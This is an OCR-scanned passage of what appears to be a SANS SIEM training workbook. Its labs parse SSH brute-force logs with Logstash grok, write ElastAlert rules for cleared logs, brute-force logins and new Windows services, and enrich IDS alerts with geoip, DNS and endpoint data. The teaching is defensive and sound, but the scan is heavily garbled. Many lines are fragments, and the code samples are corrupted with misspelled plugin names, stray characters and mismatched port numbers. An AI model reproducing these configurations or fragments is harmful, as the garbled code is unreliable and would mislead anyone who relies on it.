Further parse the syslog_messa e field to extract the us r, source_i , and source_port of failed SSH logins. Also, add a
t J of logon_failure to these events

iR o

L T A IR —

[—

Solution

Now, most of the syslog fields are extracted. However, the severity and facility are still missing. Also, the logs still lack functionality.
This auth.log represents a brute force attack yet no fields exist to represent the end user. Back in Kibana, search for tags:step3.

tagsistep3

tags:sten3 Js

tags: siep3
p ogran: -shd .yslog pid: 27,441

yswoa hustna : patient ortal syslog

es553 e: 1 2

1:ll:d8 p

o T avro

n.portal s hdl27--1]1: F il

fom 198.8.93.14 port 51728

=

as- or T

sh2 sysleg

ti "5t -

r4 71:11 0 grimestanp:

'y 20th 18

The syslog_message reads "Failed password for fraynor from 198.8.93.14 port 51720 ssh”. This contains some useful fields such

as user, source_port, and source_ip. It also identifies a failed login.

Knowing this, modify grok.conf to add some additional parsing.

code /[labs/1.3/student/grok.conf

In the black t minal, modify the input to have a tag of step4 and also update the filter section to look like below.
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input {

tep {
port => 1056
tags => "step4"
}
}
filter {
grok {

match => { "message" => "%{SYSLOGTIMESTAMP:syslog_timestamp} %{SYSLOGHOST:syslog_hostname} %
{DATA:syslog_program} (7:\[%{POSINT:syslog_pid}\1)?: %{GREEDYDATA:syslog_message}" }
}
systog_pri { }
if [syslog_message] =~ "Failed password for" {
grok {
match => {
*syslog_message! => "Failed password for %{USER:user} from %{IPV4:source_ip} port %
{INT:source_port:int} %{WORD:auth_program}"
}
1
mutate {
add_.ag => [ "logon_failure" ]
¥
¥
}

output {
elasticsearch {
hosts => "elasticsearch™
inde => "labl.3"

The syslog_pri { } function will automatically extract and parse the syslog severity and facility fields. The second grok statement
will parse out additional fields specific to failed logins. The mutate function is used to modify logs arbitrarily. In this case, it is used
to add a simple tag of logon_f- lure.

Also, notice that parsing failed passwords is wrapped in an if statement. This is done so that the grok statement only applies if the
syslog_message contains "Failed password for." It also is to make sure the tag only gets added for failed login events.

Save the file and close the Visual Studio Code Ed tor. Now have Logstash use the updated grok.conf.
logstash —f /labs/1.3/student/grok.conf

In the Agent Terminal, use netcat to send the contents of auth.log to Logstash.
nc 127.0.0.1 1856 -q 1 < /labs/1.3/auth.log

Switch back to Kibana and search for tags:step4 AND tags:logon_failure.

tags:step4 AND tags:logon_failure

tags:s*.  ANDtags:logon_fal <

7]
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Expand the first log and voila, more fields. Also, there is a tag marking the log with logon_failure. But there is one problem, they have
§ a weird orange exclamation mark next to them.

‘th nrog- a “sh..
o aemn 2.18.68 1
s5aC . am Apr - Z.:_.1'® atientpo .al

.5+ 4 for T oaynor fr- 194

ssh2
ot & .. O 47,46
' S0 rt o+ 1T I 1 8.8. 3.11
; : ar* i =17 1
' slor facil t© o ser-le sl
r slog facility co 2 m

tags <]

&

s epd loger failu e

Notice each of these new fields has a ? in front of the field name. This means that Kibana does not acknowledge the field type
i (integer, string, etc.). Therefore, the orange exclamation mark is appearing.

To fix this, click on  ina ~ment.

A

R

e
[ T

e

Then click on Index Patterns.
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inc x Patterns v e Oujecic

Click on lab 1.3 and then click on the refresh button.

" _Patt 'ns Sav . Objecs Advanced Settings

é lab1.3 ~

7eli every ieldinthel B1" ind~x and the field's a-->ciated core type . .
recorded by Elasticsearch. W g thislist /! tyoutow .- the core tv, e of each field. changir]

When asked if you want to refresh the list, click on Refresh.

Ref _s. .eld list?

.48 tin. setsthe popu.art counterofe -. " Ir

This step needs to be done anytime new fields or field types are set up. After doing this go back to Discover and look at the first log
again.

Now all the orange exclamation marks are gone, and the fields are properly identified as either strings, IP addresses, or integers.
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Go back to your Logstash terminal and stop it with CTRL + C. You should see ‘Pipeline has terminated."

[2018-05-21T04:37:44,2447 [WARN [logstash.runner ] SIGINT received. Shutting down.
T2018-05-21T04:37:49,176] [INFO J[logstash.pipeline ] Pipeline has terminated
{:pipeline_id=>"main", :thread=>"#<Thread:0x715b7ced run>"}

Parse login events
Next, parse the same fields out of successful logins over SSH and add a t g of logon_success
Solution

In Kibana, search for tags:step4 AND "Accepted".

tags:step4 AND "Accepted"

| tagsistepd AND "Accepted”

l Look at the syslog_message of the first log. This is what needs to be parsed for SSH logins.
§ Accepted password for lchancello from 138.8.93.14 port 51466 ssh2
Update grok.conf to parse this message. Run the following command from the black terminal.

code /labs/1.3/student/grok.conf

Modify the filter section to include an additional grok statement. Also, change the tag 1o step5.

input {
= tep {
port => 1056
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% tags => "step5"
}
[
filter {
grok {
match => { "message" => "%{SYSLOGTIMESTAMP:syslog_timestamp} %{SYSLOGHOST :syslog_hostname} %
{DATA:syslog_pngram}(?:\[%{POSINT:syslog_pid}\j)?: %{GREEDYDATA:syslog_messagel}™ }
}
syslog_pri { }
if [syslog_message] =~ "Failed password for" {
grok {
match => {
"syslog_message” => "Failed password for %{USER:user} from %{IPV4:source_1ip} port %
{INT:source_port:int} %{WORD:auth_program}"
}
1
mutate {
add_tag => [ "logon_failure" ]
¥
1
grok {
match => {
nsyslog_message" => "Accepted password for %{USER:user} from %{IPV4:source_ip} port %
{INT:source_port:int} %{WORD:auth_program}"
¥
add_tag => [ "logon_success" ]
tag_on_failure => []

e—

[

¥
¥
output {
elasticsearch {
hosts => "elasticsearch"
index => "labl,3"

Notice, in this instance, a grok statement is used without being wrapped in an if statement. In Logstash, there is usually more than
one way to get the job done. In this case, grok looks for a log to match against the m ch statement. If there is a match, the

¥ logon_success tag is added. If there is not a match, no ta is added, and the default _grokparsefailure error is suppressed by
t J_on_failure being set to an empty array of [J. This would be the same behavior as copying the previous if statement section and
changing the word Failed to Accepted.

Save the file and close the Visual Studio Code editor. Now run Logstash in the black t ‘minal.
logstash —f /labs/1.3/student/grok.conf

In the Agent Terminal, use n . cat to send the contents of auth.log to Logstash.
nc 127.0.6.1 1056 -q 1 < /labs/1.3/auth.log

Switch back to Kibana and search for tags:step5 A ) tags:logon_success.

tags:step5 AND tags:logon_success

194 © 2022 SANS Institute

Technet24


https://technet24.ir

. tag step AND " .osil.gon_- ccess By,

You should have 4 hits. Looking at the first log shows that SSH logins are properly being parsed. One problem remains. The
syslog_timesta. . is when the event occurred and the @timestamp defaults to when Logstash received the log. While this

+ discrepancy is not likely to be large in a production environment, it is off quite a bit compared to auth.log on disk. Plus, you always
want to keep the time as accurate as possible.**

. tirstap . e y 2 st 218, 3:.1:7 .288

1o *izests = 5+ L 4 21.8 @ 2

This image shows the time difference between the logs. ote: The @timestamp on your system will NOT match this image. Instead
it will be whatever time you ingested logs through Logstash.

i

Go back to your Logstash terminal and stop it with CTRL + C. You should see "Pipeline has terminated."

[2018-05-21T04:37:44,244 [WARN ][logstash.runner SIGINT r eived. Shutting down,
[2018-065-21T04:37:49,166][IN O ][ gstash.pipeline 1 Pip line has terminated
{ipipeli. _id=>"main", :thread=>"#<Thread:0x715b7eed run>"}

Parse time
Make sure logs are ingested with the proper times™ n
Solution

' Update grok.conf to modify @timestamp to be the correct date and time.

code /labs/1.3/student/grok.conf

RIS

Set the tags to step6 and update the filter section to match this:

R
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e

input {
tep {
port => 1056
tags => "stepg"
1
}

filter {
grok {
match => { "message" => "%{SYSLOGTIMESTAMP:syslog_timestamp} %{SYSLOGHOST:syslog_hostname} %
{DATA:syslog_program} (?:\[%{POSINT:syslog_pid}\])?: %{GREEDYDATA:syslog_message}" }
}
mutate {
gsub => [ "syslog_timestamp", "Apr 4", "Apr 4 2017"]
}
date {
match => [ "syslog_timestamp”, "MMM dd yyyy HH:mm:ss™, "MMM d yyyy HH:mm:ss", "MMM d HH:mm:ss" ]
remove_field => [ "syslog_timestamp” T
}
syslog_pri { }
if [syslog _message] =~ "Failed password for" {
grok {
match => {
"syslog_message" => "Failed password for %{USER:user} from %{IPV4:source_ip} port %
{INT:source_port:int} %{WORD:auth_program}"
}
}
mutate {
add_tag => [ "logon_failure" ]
IS
}
srok {
match => {
"syslog_message"™ => "Accepted password for %{USER:user} from %{IPV4:source_ip} port %
{INT:source_port:int} %{WORD:auth_program}"
¥
add_tag => [ "logon_success" ]
tag_on_failure => []
},
¥
output {
elasticsearch {
hosts => "elasticsearch"
index => "labl.3"

ote

remove_field is invoked because syslog_timestamp is no longer needed once parsed and used to replace @timestamp. If you
wanted to keep this field for some reason, simply omit remove_field. The date function must be underneath the first grok
statement as syslog_timestamp does not exist until it is parsed. Also, the mutate  ub parameter is being used to manually

append the year the log was captured to the syslog_timestamp field. This is because the log file did not have the year in its logs.

Save the file and close the Visual Stu. ‘o Code editor. Now run Logstash in the black terminal.
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logstash -f /labs/1.3/student/grok.conf
In the Agent Terminal, use netcat to send the contents of auth.log to Logstash.
nc 1 7.0.0,1 1056 -g 1 < /labs/1.3/auth.log
At this point, you should have parsed SSH login events with the correct @timestamp. Switch to Kibana and search for tags:step6.

tags:stepb

tagist=pé E N T -

You are greeted with " o results found.” What is going on?

What is happening is that since the @timestamp field is now correct, the search time frame you have specified in the top right
corner does not include logs from back in April. To do this, change the time to Absolute and set From to 2017-04-04 00:00:00.000
and set To to 2017-04-04 23:59:59.999.

207 7-04-04 00:00:00.000

2017-04-04 23:59:59,999

e

I

]
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Go back to your Logstash terminal and stop it with CTRL + C. You should see "Pipeline has terminated."

[2018-05-21T04:39:44,244] [WARN ][logstash.runner
[2018-85-21T04:39:49,166] [INFO J[logstash.pipeline

] SIGINT received. Shutting down.

] Pipeline has terminated

{:pipeline_id=>"main", :thread=>"#<Thread:0x715b7eed run>"}
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Identify brute force

Identify which accounts were successfully brute forced

Solution

Now that data is ingested and properly parsed, it is time to track down the brute force events. First, search for tags:step6 A D
tags:logon_failure.

tags:istep6 AND tags:logon_failure

L

' tagsiste_6 . ND tags:logon_failure . =

[ —

- There are 1,690 hits. This is too many to analyze manually. What we are interested in is which IP address is performing the brute
force attacks and which accounts are being targeted. To find out which IP address is performing the attacks find the source_ip field
on the left of the screen and click on Visualize.
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The Quick Count breakdown is only composed of the first 500 records returned from your search. While it shows 100% of the
failed logins came from 198.8.93.14 it does not guarantee the other 1,190 records are also from 198.8.93.14. Therefore, you

' need to have Kibana chart out all counts using Visualize.

Wl
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Lo

The chart generated by Kibana verifies that all 1,690 login failures are coming from 198.8.93.14. Therefore, this is the system
performing the attack.

Next, we want to find out which accounts were used. To do this, change the visualization so that it charts off the user field rather
than the source_ip field. Do this by expanding the X-Axis bucket and then changing the Field from source_ip to user.keyword. Then
click on the play icon.

letri s
X ar LT
,d ,,,] . )
“uck”
-AxE l, [

Ti1ns -
- ) .
f userke ‘ord -

The resulting graph shows four accounts had attempted logins. These are ploar, fraynor, ichancello, and wperry.
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Now we need to find out if the attack was successful. Go back to the Discover tab and search for tags:step6 A D

tags:logon_success.

202
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tags:step6 AND tags:logon_success

b tag. :stepb A ID tags:dlogon_success

There are only 4 hits this time. To view them, you can either expand each log, or add the user field as a column. To do this, hover
! over the user field in the left column and then click on add.

y e -
"%

er

You can now see that there were four successful logins against three user accounts.
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To see if these are from 198.8.93.14 hover over the source_ip field and add it as a column as well.
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|

The resulting view shows that 198.8.93.14 is who logged into these accounts. This means the brute force attack was successful
but only against 3 out of 4 accounts. The user fraynor was not successfully brute forced.

Tim u r ourc
’ pril 4% 2017, 1 : 3:32. = lcnancello ieg.8. .14
v ARil Ot 2037, 3:_.:26. © By i ...983.7
¥ pril 4tk 2¢ 7, 14:89:.2.88 plear isg.8.93.1
3 et 207 2.0 2. ploar 2 .1 ..158.2 2

You can remove or rearrange these columns by hovering over them and either click on the X to remove the column or arrow signs to
move the column over.

Hover over user and click the X to remove the field. Do the same for source_ip.

Ti. ue “purc _ip
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S =
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S-'tep—by-'S?ep Video Instructions

Lab Conclusion

-

In this lab, you have parsed logs using traditional parsing. This included:

+ Using Log t: h to apply regex pattern matching

« Conditionally applying regex pattern matching
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. Applying tags to identify logs based on specific conditions
+ Correcting timestamp format issues

+ Visually searching and identifying steps necessary to parse logs fully

L b 1.3 is now complete!
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Objectives

+ Build custom alert rules

- Evaluate and test rules to make sure they function as intended
» Generate custom alerts to identify malicious traffic

« Identify how to use various alert conditions tactically

+ Learn how to tune alerts

Exercise Prenaration

Log into the Sec-555 VM

» Username: student

+ Password: sec555

I,l'r ‘e

& This lab utilizes the Elasticsearch index named lab1.4-comp’ te-windows. This index already exists with the necessary data for this
lab. During this lab, the term ElastAlert refers to an open source alert service. The term elastalert refers to the command line
program used to invoke ElastAlert manually or as a service.

Exercises

Log cleared rule

Create an alert rule that identifies whenever the Windows event log is cleared
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L

First, create an ElastAlert rule file using the Visual Studio Code Editor to alert on logs being cleared** ** Store the rule in /labs/1.4/
student/windows_logs_cleared.yaml.

code /labs/1.4/student/windows_logs_cleared.yaml
Next, enter the rule configuration below. Save the file with either CTRL + S or click on File -> Save.

name: Log cleared
type: frequency
index: labl.4-complete-windows

realert:
minutes: ©

num_events: 1

timeframe:
hours: 1

filter:

- term:

event_id: 1102

alert: debug

Note

This rule looks for any occurrence of a Windows log with an Event ID of 1102, which is the Event ID for logs being cleared on
! Windows. This rule is also set to alert on every occurrence by setting realert minutes to 0. The default behavior would only alert
’ once every so many minutes. Given that logs should not be cleared under normal circumstances, we want to see an alert on all
I occurrences.

Switch back to a terminal window. Test this rule by running the command below.

elastalert ——config /labs/elastalert/config.yaml --rule /labs/1.4/student/windows_logs_cleared.yaml —-start
"2017-09-07 00:00:00.000" ~-end "2017-09-08 23:59:59.999" -—-debug

You should see the following result:

INFO:elastalert:Skipping writing to €S: {'hits': 1, 'matches': 1, '@timestamp': '2018-05-21T16:21:56.617026Z',
'rule_name': 'Log cleared', 'starttime': '2017-09-07T00:00:00Z', 'endtime': '2017-09-08T23:59:59.9997',
'time_taken': 0.557060956954956}

INFO:elastalert:Ran Log cleared from 2017-09-07 00:00 UTC to 2017-09-08 23:59 UTC: 1 query hits (¢ already
seen), 1 matches, @ alerts sent

Because the elastalert command was used with --debug no alert is generated. Using debug allows you to test a rule. In this case,
the rule worked as there was 1 match. Without --debug an alert would have been generated.
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Brute force login rule

Create an alert rule that identifies whenever there are more than 50 failed login attempts against the same account within
an hour

l Solution

. Next, create an ElastAlert rule file using the Visual St. . Code C itor that will generate an alert if brute force logins are discovered.

Store the rule in /° bs/1.4/student/windows_brute_force_logins.yaml.
[

code /labs/1.4/student/windows_brute_force_logins.yaml
Next, enter the rule configuration below. Save the file with either CTRL + S or click on File -> Save.

name: Brute Force Logins
type: frequency
E index: labl.4-complete-windows

realert:
minutes: 5

num_events: 50

timeframe:
hours: 1

query_key: user

filter:
- term:
ke event_id: 4625

alert: email
email: foo@example.com

s

.7 ot

This rule looks for 50 or more failed logins against the same user within an hour. This works by counting the Windows Event ID
for failed logins, which is 4625, and then aggregating the counts against the user field. Aggregating the count against the user

- % field is done by specifying a query_key. Because brute force logins tend to occur over a long period of time, alerts are set only to
generate once every 5 minutes.

Switch back to a terminal window. Test this rule by running the command below.

elastalert --config /labs/elastalert/config.yami -—-rule /labs/1l.4/student/windows_brute_force_logins.yaml -—
start "2017-09-07" --end '"2017-09-09" --debug
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ote

The time range in this example is not fully filled out. ElastAlert allows you to be specific or more general when specifying time
ranges. When running ElastAlert as a service, no time range is specified, and it monitors Elasticsearch in near real-time.

You should see the following result:

INFO:elastalert:Ignoring match for silenced rule Brute Force Logins.jdoe

INFO:elastalert:Ignoring match for silenced rule Brute Force Logins.jdoe

INFO:elastalert:Skipping writing to ES: {'hits': 3054, 'matches': 61, '@timestamp':
'2018-05-21T16:24:25.608283Z", 'rule_name': 'Brute Force Logins', 'starttime': '2017-09-07T00:00:067',
‘endtime’: '2017-09-09T00:00:00Z', 'time_taken': 1.8777990341186523}

INFO:elastalert:Ran Brute Force Logins from 2017-09-07 00:00 UTC to 2017-09-09 00:00 UTC: 3054 query hits (6
already seen), 61 matches, 0 alerts sent

it

§ Because the elastalert command was used with --debug no alert is generated. In this case, the rule worked as there were 61
matches. Without --debug an alert would have been generated. Keep in mind that 61 matches does not mean this would have
generated 61 alerts. The rule file created would only create an alert once every 5 minutes.

If you scroll up in the terminal, you would see there was only 1 alert generated as all the failed login events occurred within 5
minutes of each other. The only user with failed logins was jdoe.

INFO:elastalert:Alert for Brute Force Logins, jdoe at 2017-09-08T16:13:06Z:
INFO:elastalert:Brute Force Logins

L

At least 50 events occurred between 2817-09-08 15:13 UTC and 2017-09-08 15:13 UTC

New service credtion rule

Create an alert rule that identifies whenever a new windows service is created that has not been seen in the last 90 days

A

Solution

For the final alert rule of this lab, create an ElastAlert rule file using the Visual Studio Code Editor that will generate an alert if a new
Windows service is created that has not been previously seen. Store the rule in /labs/1.4/student/
windows_new_service_creation.yaml.

code /labs/1.4/student/windows_new_service_creation.yaml
Next, enter the rule configuration below. Save the file with either CTRL + S or click on File -> Save.

name: New service creation
type: new_term
realert:

minutes: @

index: labl.4-complete-windows
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doc_type: "doc"

fields:
- "service_name"

terms_window_size:
days: 98

filter:
- term:
event_id: 7045

alert: email
email: fooRexample.com

4 ot

© This rule dynamically builds a list of service_name entries that were created in the last 90 days using terms_window_size. It
then monitors for service_name entries that are not on this list. Effectively, this rule allows for a dynamic rolling whitelist. The
: E 90-day dynamic whitelist updates itself each day and will be used to monitor for new values continuously. This makes for an

. extremely easy and powerful way of implementing whitelisting.
v

Switch back to a terminal window. Run this rule by running the command below. This time --d "ug will not be used so no alert will
appear inside the terminal. Instead, it will log the alert to Elasticsearch in an index called elastalert_status.

elastalert --config /labs/elastalert/config.yaml -~rule /labs/1.4/student/windows_new_service_creation.yaml ——
start "2017-09-07" --end "2017-09-09"

|

1 You should see the below result. These SMTP errors are because --d ug was not used, so alerts were generated. However, your
student VM has not been set up to send an email, so when ElastAlert attempts to send an email, you get an error. Step four shows
how to see the 2 alerts that generated using Kibana visually.

ERROR:root:Error while running alert email: Error connecting to SMTP host: [Errno 997 Cannot assign requested
address
ERROR:root:Error while running alert email: Error connecting to SMTP host: [Errno 997 Cannot assign requested
address

View alerts

View the alerts within Kibana

“—

Solution

step three involved running elastalert without --debug. This caused the alerts to be logged to Elasticsearch. To view these logs, first

open Firefox.
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Next, open Kibana by clicking on the bookmark link for Kibana.

~ Switch to the Discover tab by clicking on Discover.

Set your time to the Last 15 minutes.

| s - pen < a - i
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To view the alerts generated by ElastAlert, switch to the index called elastalert_status.
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If step three was performed within the last 15 minutes, you should see two alerts.
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If it has been more than 15 minutes, you will need to change your time from Last 15 minutes to Last 24 hours. Then you will be able

to see the two alerts generated from step three.
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Step-by-Step Video Instructions

- Lab Conclusion.

In this lab, you used EI :tA" tto demonstrate some of the capabilities of an alert engine. This included:

+ Setting up an alert for a single occurrence of an event

» Setting up an alert for multiple occurrences of an event such as brute force attacks
» Implementing a dynamic whitelisting using a new term rotation

+ Debugging rules for testing and alert creation

+ Viewing alerts within Kibana

L 14isnowcom [ !
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Objectives

+ Understand log enrichment
« Build process for adding context
- Identify sources for context

+ Use context for false positive reduction

Exercise Preparation

Log into the Sec-555 VM

» Username: student

» Password: sec555

For this lab you will be using the IDS alert logs below:

E E Download Alert

[1:2000419:18] ET POLICY PE EXE or DLL Windows file download [Classification: Potential Corporate
Privacy Violation] [Priority: 1]: <sodev-ethl-1> {TCP} 74.125.159.56:80 -> 192.168.2.39:49339

PDF rt

{1:2017899:3] ET CURRENT_EVENTS Possible PDF Dictionary Entry with Hex/Ascii replacement
[Classification: A Network Trojan was detected] [Priority: 1]: <sodev-ethl-1> {TCP} 54.161.95.242:80 -
> 192.168.2.39:49247

Your goal is to try and identify if any of these alerts are supsicious or malicious in nature.
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Exercises

Identify available fields

Part of a SIEM is establishing context so that analysts can hypothesize and build a storyline of what may be happening.
Often the process is thought to involve manual correlation. Yet, you can build context into your logs directly. Sometimes
context can be at search time, and other times it needs to be part of the logs for use with automated alerting.

The first step in log enrichment is to identify what fields are available. The list of fields is necessary to see what options
there are for enrichment. Open a command prompt and then run the below command to see what fields are availabie.

logstash —-f /labs/enrich/field_list.conf

. Note

The configuration file field_list.conf uses ok to parse fields from a Snort IDS alert. You could also look at the alert and figure out
what fields were available by looking at the data. However, in a production environment you would need to parse the log before

enriching it.
H

The output should look as follows:

Ysource_ip"

"gid" => 1,
"sid" => 2017899,
Y"destination_ip" => '192.168.2.39",
"source_port" => 86,
“sequence" => 0,
"rev' => "3",
"interface" => "sodev-ethl-1",
"classification" => "A Network Trojan was detected",
"orotocol™ => "TCPY,
"destination_port" => 49 47,
"priority™ => "in,
"host" => "logstash",
"@timestamp" => 2020-07-06T722:23:09.686Z,
T@version™ => 1N,
"alert™ => "ET CURRENT_EVENTS Possible PDF Dictionary Entry with Hex/Ascii replacement "

"source_ip"

"54,161.95.242",

"74.125.159.56",

"gid" => 1,
sid'" => 2000419,
"destination_ip" => "192.168.2.39",
"source_port" => 80,
"sequence" => 0,
"rev => "ig",
"interface” => "sodev-ethi-1",
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"classification" => "Potential Corporate Privacy Violation",
"protocol" => "TCP",
"destination_port" => 49339,

"pr-ior--ity" => "lll ,

"host" => "logstash",
"@timestamp" => 2020-07-06T22:23:09.6867,

"@Qversion" => ",

"alert™ => "ET POLICY PE EXE or DLL Windows file download "

{/’ ote

The @timestamp will reflect the time you perform the command. It will not match the output in any of the commands during this
i lab.

Based on the output above the following fields are available: source_i , stir tion_ip, source_port, destin :ion_port,
protocol, sid, id,rev, iori , rti. rf -ecl ific tion, and sequence.

Take a moment and look at the output above. Based on the two alerts, do you have enough information to tell i either
alerts are malicious or not? Unfortunately, many alerting systems do not provide enough information to answer this
question.

Perform basic geo enrichment

Given the fields found, we need to identify areas to add context to the logs. IP addresses can be useful to use for geo
information. Run Logstash with the configuration file below to add geoip information to the logs.

logstash —-f /labs/enrich/geoip.conf

|

The geoip.conf configuration file uses Logstash with the geoip plugin to pull in city, s: te, country, and ASN information. If you are
curious and wish to see the full configuration run this command: code /labs/enrich/geoip.conf

The output from this command should be similar to below:

"classification" => "Potential Corporate Privacy Violation",
"@version" => "1,
"source_ip" => "74.125,159.56",
"host" => "logstash",
Trayl => "18" ,
"priority” => "in,
"source_port" => 80,
"gid" => 1,
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"destination_geo" => {},

"sequence" => @,
"protocol"” => "Tcp",
"source_geo" => {
"ipt o=> "74.125.159.56",
"latitude" => 37.419200000000004,
"as_org" => "Google Inc.",
"country_code3" =»> "ys",
"location" => {

"lat" => 37.419200000000004,
"lon" => -122.0574

}7
"postal_code" => "94043",
"continent_code" => "NA",
"country_name" => "United States",
"region_code" => "CA",
"city_name" => "Mountain View",
"dma_code" => 8@7,
"asn" => 15169,
"timezone" => "America/Los_Angeles",
"country_code2" => mysn,
"region_name" => "California",
"longitude" => -122.0574

b

"@timestamp" =>

2020*07*06T22:42:98.2952,

"interface” => "sodev-ethl-1",
"destination_ip" => "192.168.2.39",

"alert" => "ET POLICY PE EXE or DLL Windows file download "y

"destination_port" =>
Ngid" =»>

"classification” =>

49339,
2000419

"A Network Trojan was detected”,

"@version" => "1n,
"source_ip" => "54.161.95,242",
"host" => "logstash",
"rev" => n3n,
"priority™ => "1,
"source_port" => 2@,
"gid" => 1,
"destination_geo" => {3},
"sequence" => @,
"protocol" => uwyCpn,
"source_geo" => {
Hip" => "54.161.95.242",
"latitude" => 39.0481,
"as_org" => "Amazon.com, Inc.",
"country_code3" => "ysT,
"location" => {

"lat" => 39,0481,
"lon" => -77.4728

I

"postal_code™ => "2piqg9v,
"continent_code" => NA™T,
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"country_name" => "United States",
"region_code™ => "VA",
"eity_name™ => "Ashburn",
"dma_code"” => 511,
"asn" => 14618,
"timezone! => "America/New_York",
feountry_code2™ => "US",
"region_name" => "Virginia",
"longitude" => -77.4728
}s
"atimestamp" => 2020-07-06T22:42:08.295Z,
ninterface" => "sodev-ethl-1",
vdestination_ip" => "192.168.2.39",
nalert" => "ET CURRENT_EVENTS Possible PDF Dictionary Entry with Hex/Ascii replacement

tdestination_port" => 48247,

"sid" => 2017899
}

At this point, basic geoip information is now appended to the logs. The geoip information adds more context about these
alerts. For example, the ETPOLICY PEE EorDLL & « 3 file download shows an external [P of 74.125.159.56. The
geoip information shows it is in Mountain View, C iforni US and the entity behind the external IP is Goog Inc.. The ET
CU  NT_EVE TSPossi PDF Dictior ryEntrywih™ /A cii. . .ement shows an external IP of 54.161.95.242.
The geoip information shows it is in Ast. 1rn, VA US and the entity behind the external IP is Ar  on.com, Inc..

At this point there still is not enough information to decide if either of these alerts are malicious or suspicious. The
external IP addresses could belong to Google or Amazon. However, they also could belong to someone using Google or
Amazon's hosted cloud environments.

Pull in DNS Query

Next, run Logstash using the dns.conf configuration file to further enrich the IDS alerts. Run the command below to add a
query field to the IDS alerts.

logstash ~f /labs/enrich/dns.conf

L e

The dns.conf configuration file uses Logstash with the elasticsearch plugin to pull in the DNS query from historical DNS logs. it
does this by looking for the most recent DNS query reponse that had an external IP from the [DS alert in an answers field. If you are
curious and wish to see the full configuration run this command: code /labs/enrich/dns.conf

The output should now look like below.

"destination_port" => 49339,
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"sequence" => @,
"source_ip" => "74.125,159.56",
"interface” => "sodev-ethi-1",

"alert™ => "ET POLICY PE EXE or DLL Windows file download ",
"source_geo" => {
"dma_code" => 807,
"as_org" => "Google Inc.",
"location™ => {
"lon" => —122.0574,
"lat" => 37.419200000000004
b
"longitude" => -122.0574,
"ip" => "74.125,159,56",
"postal_code™ => "g94@43",
"country_code3" => "ys",
"region_code" => "CA",
"asn" => 15169,
"city_name" => "Mountain View",
"continent_code" => "NA",
"country_code2" => "usw,
"timezone" => "America/los_Angeles",
"latitude” => 37.41920000@900@04,
"country_name" => "United States",
"region_name" => "California"

1,
"priority" => "1v,
"host" => "logstash",
"protocol™ => "TCP",
"@version" => iy,
"gid" => 1,
"tags" => [
[e] "internal_destination",
[1] "external_source"
1,

"sid" => 2000419,
"source_port" => 8o,
"destination_ip" => "192.168.2.39",
"classification" => "pPotential Corporate Privacy Violation",
"rev® => wign,
"destination_geo" => {},
"query™ => "dl.google.com",
"@timestamp” => 2020-07-09T22:44:21.,3127

"destination_port" => 49247,
"sequence'" => 0,
"source_ip" => "54.161.95.242",
"interface” =» "sodev-ethl-1",
"alert" => "ET CURRENT_EVENTS Possible PDF Dictionary Entry with Hex/Ascii replacement

"source_geo" => {
"dma_code" => 511,
"as_org" => "Amazon.com, Inc.",
"location’ => {
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"lon" => -77.4728,
"lat" => 39.0481
1,
"longitude" => -77.4728,
"ip" => "54.161.95.242",
"postal_code" => "20149",
"country_code3" => "Us",
"region_code” => "VA",
"asn" => 14618,
"city_name®" => "Ashburn',
“continent_code™ => "NA',
"country_code2" => "UsY,
"timezone" => "America/New_York",
"latitude™ => 39.0481,
"country_name" => "United States",
"region_name" => "Virginia"

},
"priority" => "1,
"host" => "logstash",
"protocol" => "TCP",
"@version" => "1",
teidt => 1,
"tags" => [
[0] "dnternal_destination”,
[1]1 "external_source"
1,

ngid" => 7017899,
"source_port" => 80,
"destination_ip" => "192.168.2.39",
nelassification" => "A Network Trojan was detected",
“rey!" => M3%,
tdestination_geo" => {},
"query” => "trackmypackage-com.biz",
"@timestamp"” => 2020-07-09T22:44:21.311Z
¥

At this point, the IDS alerts have more significant context. For example, one alert deals with traffic to dl.goog .com which
is hosted on an external IP registered to an ASN of Googl Inc.. dl.google.com is Google's download site for anyone
wishing to download software like Google Chrome, Google Drive Sync, as well as other Google software. As a result, the
alert dealing with Google is likely benign.

The other alert reflects traffic going to trackmypac « ¢ m.biz which is hosted on an external IP registered to an ASN of
Amazon.com Inc. i ckym packag -com.biz looks like a suspicious domain due to having -com.biz rather than simply
.com or .biz. The ASN allows a possible hypothesis that this is a server hosted within Amazon's AWS environment.

Pull in Endpoint Data
Bringing in the DNS records greatly aids analysts during their investigations. However, there still is more enrichment that

can be performed to minimize labor requirements during alert investigations. For the final step of this labs run the
command below to correlate the IDS alerts so they automatically correlate and bring in endpoint-centric information.
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logstash -f /labs/enrich/windows.conf

Note

The windows.conf configuration file adds additional enrichment steps. First, it takes the source_ip, source_port, destination_ip, and
destination_port fields and uses them to find endpoint logs referencing the same network socket. If found, it pulls back the process

! behind the network connection, the end user* running the process, and the **process id. Finally, it uses the process id to see if
there is an endpoint log showing a file written by the process id. If you are curious and wish to see the full configuration run this
command: code /labs/enrich/windows.conf

3
{
"process_pid" => 24048,
I|reV" => ”18"’
"destination_port" => 49339,
"yser® => {

"mame" => "JustinHenderson",

"domain® => "AzureAD"
1
"source_geo" => {
"region_name" => "California',
"latitude” => 37.419200000000004,
"continent_code" => "NA",
"city_name" => "Mountain View",
"location™ => {
"lat" => 37.419200000000004,
"lon" => -122.0574
1,
"region_code" => "CA",
"asn" => 15189,
"ip" => "74,125.159.56",
"dma_code" => 807,
"postal_code™ => "94043",
"country_code3" => '"ysn,
"longitude" => ~122.,0574,
"timezone" => "America/Los_Angeles",
"as_org" => "Google Inc."™,
"country_name" => "United States",
"country_code2" => "ys"
1
"protocol" => "TCP",
"source_ip" => "74.125.159.56",
"@version" => "1",
"tags" => [
fo] ™internal_destination",
[1] "external_source"”
1,
"source_port" => 80,
"sequence" => @,

"alert" =>
"process_name' =>

"ET POLICY PE EXE or DLL Windows file download "
"iexplore.exe",
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"priority" => "i",
"interface" => "sodev-ethl-1",
Tquery'" => "dl.google.com”,
Ilg—idll => l,
"sid" => 2000419,
"destination_geo" => {1},
"hostname" => "LIGHTFORGEDSK",
"destination_ip"” => "192.168,2.39",
"@timestamp" => 2020-07-10T22:51:11.474Z,
"classification” => "Potential Corporate Privacy Violation",
"file_name'™ => "C:\\Users\\JustinHenderson\\Downloads\\ChromeSetup.exe,.

1g¢c5nqy.partial:Zone. Identifier®,
"host" => "logstash"

}
{
"orocéss_pid" => 24049,
"rev" => ||3n’
"destination port" => 49247,
Yuser" => {

""mame" => "JustinHenderson",
"domain" => "AzureAD"

}s
"source_geo" => {
"region_name" => "Virginia",
"latitude" => 39.0481,
"continent_code™ => "NAY,
“city_name"™ => "Ashburn",
"location™ => {
